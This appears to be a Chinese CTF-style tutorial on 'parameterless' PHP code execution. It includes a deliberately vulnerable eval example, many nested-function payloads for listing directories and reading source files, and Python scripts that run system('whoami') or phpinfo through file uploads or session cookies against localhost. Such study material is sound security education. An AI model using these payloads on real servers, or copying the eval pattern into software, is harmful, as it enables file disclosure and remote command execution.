zoukankan      html  css  js  c++  java
  • 无参数RCE总结及文件读取学习

    什么是无参数?

    顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等。

     

    例题:

    <?php
    highlight_file(__FILE__);
    if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    }
    ?>

    preg_replace替换匹配到的字符为空,W匹配字母、数字和下划线,等价于[^A-Za-z0-9]。(?R)?的意思是递归整个匹配模式。

    正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

    可以用如下格式

    a(b(c()));
    a();

    文件读取

    查看当前目录

    方法一:getcwd()

    方法二:构造点 .

     

    1.localeconv()

    localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

    如何取到这个点呢

    相关函数:

    current() //返回数组中的当前单元,默认取第一个值
    pos()   //current的别名
    reset()  //将数组的内部指针指向第一个单元
    end()    //将数组的内部指针指向最后一个单元
    next()   //将数组中的内部指针向前移动一位

    前三个都可以成功打印。

    2.chr()

    chr(46)就是字符"."

    chr(time())
    chr(current(localtime(time())))

    chr(time()):

    chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

    所以使用chr(time()),一个周期必定出现一次"."

    chr(current(localtime(time()))):

    数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

     

    3.crypt()

    hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符

    print_r(scandir(chr(ord(hebrevc(crypt(time()))))));

    strrev(crypt(serialize(array()))) 也可以得到 .

    print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

    也可以设置当前工作路径为根目录,然后遍历此目录

    if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

    4.array_reverse()

    以相反的元素顺序返回数组

    最后一位,反过来就成为第一位,可以直接用current(pos)读取

    show_source(current(array_reverse(scandir(getcwd()))));

    如果是倒数第二个我们可以用:

    show_source(next(array_reverse(scandir(getcwd()))));

    不是数组的最后一个或者倒数第二个

    array_flip()交换数组的键和值

    array_rand() 从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。

    我们用array_rand() 会随机返回一个单元的键,但是我们要的是其值,因此可用先用array_flip()交换数组的键和值,然后再使其随机返回,就有可能读到想要的那个目录。

    show_source(array_rand(array_flip(scandir(getcwd()))));
    show_source(array_rand(array_flip(scandir(current(localeconv())))));

    查看上级目录

    方法一:dirname()

    从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

    ?code=print_r(scandir(dirname(getcwd())));

    方法二:构造".."

    print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
    next(scandir(chr(ord(hebrevc(crypt(time()))))))

    chdir() :改变当前工作目录

    直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

    读取目录的函数

    show_source()
    highlight_file()
    file_get_contents ()
    readfile()
    readgzfile()

    无参数命令执行(RCE)

    用其他变量辅佐eval传入参数

    $_POST
    $_GET
    $_FILES
    $_ENV
    $_COOKIE
    $_SESSION

    getallheaders()

    getallheaders()获取全部 HTTP 请求头信息

    apache_response_headers() 获得全部 HTTP 响应头信息

    这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。

    get_defined_vars()

    它能获取到以下变量

    $_GET
    $_POST
    $_FILES
    $_COOKIE

    如何利用file变量进行rce呢?

    import requests
    
    files = {
      "system('whoami');": ""
    }
    #data = {
    #"code":"eval(pos(pos(end(get_defined_vars()))));"
    #}
    r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
    print(r.content.decode("utf-8", "ignore"))

    session_id()

    session_id(): 可以用来获取/设置 当前会话 ID。

    session需要使用session_start()开启,然后返回参数给session_id()

    但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

    但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

    (PHP5.5 -7.1.9可行)

    ?code=show_source(session_id(session_start()));

    其他版本可考虑用hex2bin() 将十六进制形式的命令还原。

    import requests
    url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
    payload = "phpinfo();".encode('hex')
    cookies = {
        'PHPSESSID':payload
    }
    r = requests.get(url=url,cookies=cookies)
    print r.content

    getenv()

    getenv() 获取一个环境变量的值(只适用于7.1以后版本)

    通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

     

     

     

    参考:https://www.yuque.com/ni4n/blogs/imxg18

    https://www.freebuf.com/articles/system/242482.html

     

     

     

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    网络IO
    进程与线程
    计算机网络
    操作系统
    刷题笔记
    fasd
    线程池
    epoll反应堆
    read函数
    dup与dup2
  • 原文地址:https://www.cnblogs.com/tac2664/p/14560027.html
Copyright © 2011-2022 走看看